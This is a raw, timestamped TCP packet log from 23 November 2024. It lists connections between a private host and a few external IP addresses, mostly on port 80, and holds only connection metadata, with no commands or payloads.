Nov 23, 2024 21:59:39.688610077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.688652039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.688834906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.688985109 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.689083099 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.689162970 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.689168930 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.689301968 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.695245981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.695302010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.695363998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.695626020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.701961994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.702189922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.702245951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.702567101 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.708689928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.708821058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.709090948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.709140062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.715456009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.715509892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.715559006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.715774059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.717108011 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.717303038 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.717317104 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.722096920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.722122908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.722152948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.722206116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.728780985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.728833914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.729289055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.729336023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.735519886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.735583067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.736023903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.736161947 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.739609003 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.739752054 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.739793062 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.739801884 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.739947081 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.741631985 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.742177010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.742189884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.742232084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.745464087 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.745534897 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.745579004 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.745584965 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.745666027 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.748748064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.748800039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.748857975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.749012947 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.755119085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.755271912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.755292892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.755366087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.758498907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.758550882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.758583069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.758645058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.760540962 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.761262894 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.761390924 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.761399031 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.761591911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.761904001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.762082100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.762149096 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.764800072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.764909983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.764971018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.765983105 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.766055107 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.767057896 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.767066956 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.767131090 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.767134905 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.767374992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.767426014 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.767436981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.767875910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.768996000 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.769063950 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.769069910 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.769764900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.769833088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.769865990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.770013094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.772198915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.772257090 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.772420883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.772581100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.774679899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.774743080 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.775051117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.775098085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.777133942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.777185917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.777375937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.777426004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.779628992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.779761076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.779782057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.779802084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.782126904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.782180071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.782232046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.782272100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.782691002 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.782716036 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.782747984 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.782762051 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.782829046 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.783056974 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.783092022 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.783233881 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.783282995 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.783832073 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.784588099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.784600973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.784667015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.787265062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.787277937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.787358046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.789540052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.789555073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.789700985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.791965008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.792010069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.792454958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.792566061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.794589996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.794603109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.794655085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.796987057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.797005892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.797055006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.797090054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.799563885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.799578905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.799664021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.799695969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.801920891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.801934004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.802009106 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.804378033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.804390907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.804464102 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.806804895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.806929111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.807059050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.807113886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.809336901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.809607983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.809669018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.824171066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.824193954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.824255943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.825158119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.825217009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.847213984 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:39.847280025 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:39.848001003 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:39.848155022 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:39.848165989 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:39.884507895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.884577990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.884736061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.885701895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.885838985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.885889053 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.888067007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.888982058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.889045954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.889178038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.891279936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.891415119 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.891453981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.891576052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.893542051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.893661022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.893774986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.893881083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.895827055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.895838022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.895885944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.897919893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.897969007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.898022890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.898152113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.899954081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.900227070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.900301933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.901993990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.902038097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.902127981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.903964996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.904031038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.904089928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.904320955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.905888081 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.905947924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.906009912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.906236887 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.907809973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.907870054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.907921076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.908149958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.909681082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.909742117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.909768105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.909861088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.911355019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.911366940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.911432981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.912708998 CET	443	49856	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.912798882 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.912966967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.913029909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.913072109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.914644003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.914691925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.914786100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.914930105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.916274071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.916338921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.916399956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.917087078 CET	49856	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:39.917098045 CET	443	49856	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.917939901 CET	49856	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:39.917944908 CET	443	49856	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.917977095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.918040991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.918080091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.919296980 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:39.919307947 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.919578075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.919625044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.919698954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.919864893 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.920384884 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:39.920388937 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.921267986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.921323061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.921364069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.921551943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.921737909 CET	443	49855	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.922952890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.922965050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.923012018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.923032045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.923538923 CET	49855	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:39.923548937 CET	443	49855	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.924237967 CET	49855	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:39.924242020 CET	443	49855	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.924578905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.924592018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.924623966 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.924645901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.926105976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.926230907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.926269054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.926377058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.927685976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.927697897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.927740097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.929210901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.929342031 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.929620981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.929725885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.930816889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.930883884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.930923939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.931180000 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.932514906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.932574987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.932821035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.932864904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.934073925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.934086084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.934139967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.935659885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.935719013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.935920000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.935962915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.937165022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.937227964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.937364101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.937436104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.938711882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.938751936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.938806057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.940386057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.940459013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.940460920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.940490007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.942038059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.942049026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.942087889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.943780899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.943828106 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.943845987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.944185019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.945097923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.945146084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.945147038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.945179939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.946645975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.946657896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.946693897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.948221922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.948235035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.948292971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.949837923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.949850082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.949896097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.951340914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.951353073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.951412916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.952886105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.952897072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.952958107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.954435110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.954447985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.954507113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.955976009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.956140041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.956846952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.956895113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.957529068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.957577944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.957827091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.957873106 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.959105015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.959161043 CET	49809	80	192.168.2.6	185.215.113.206
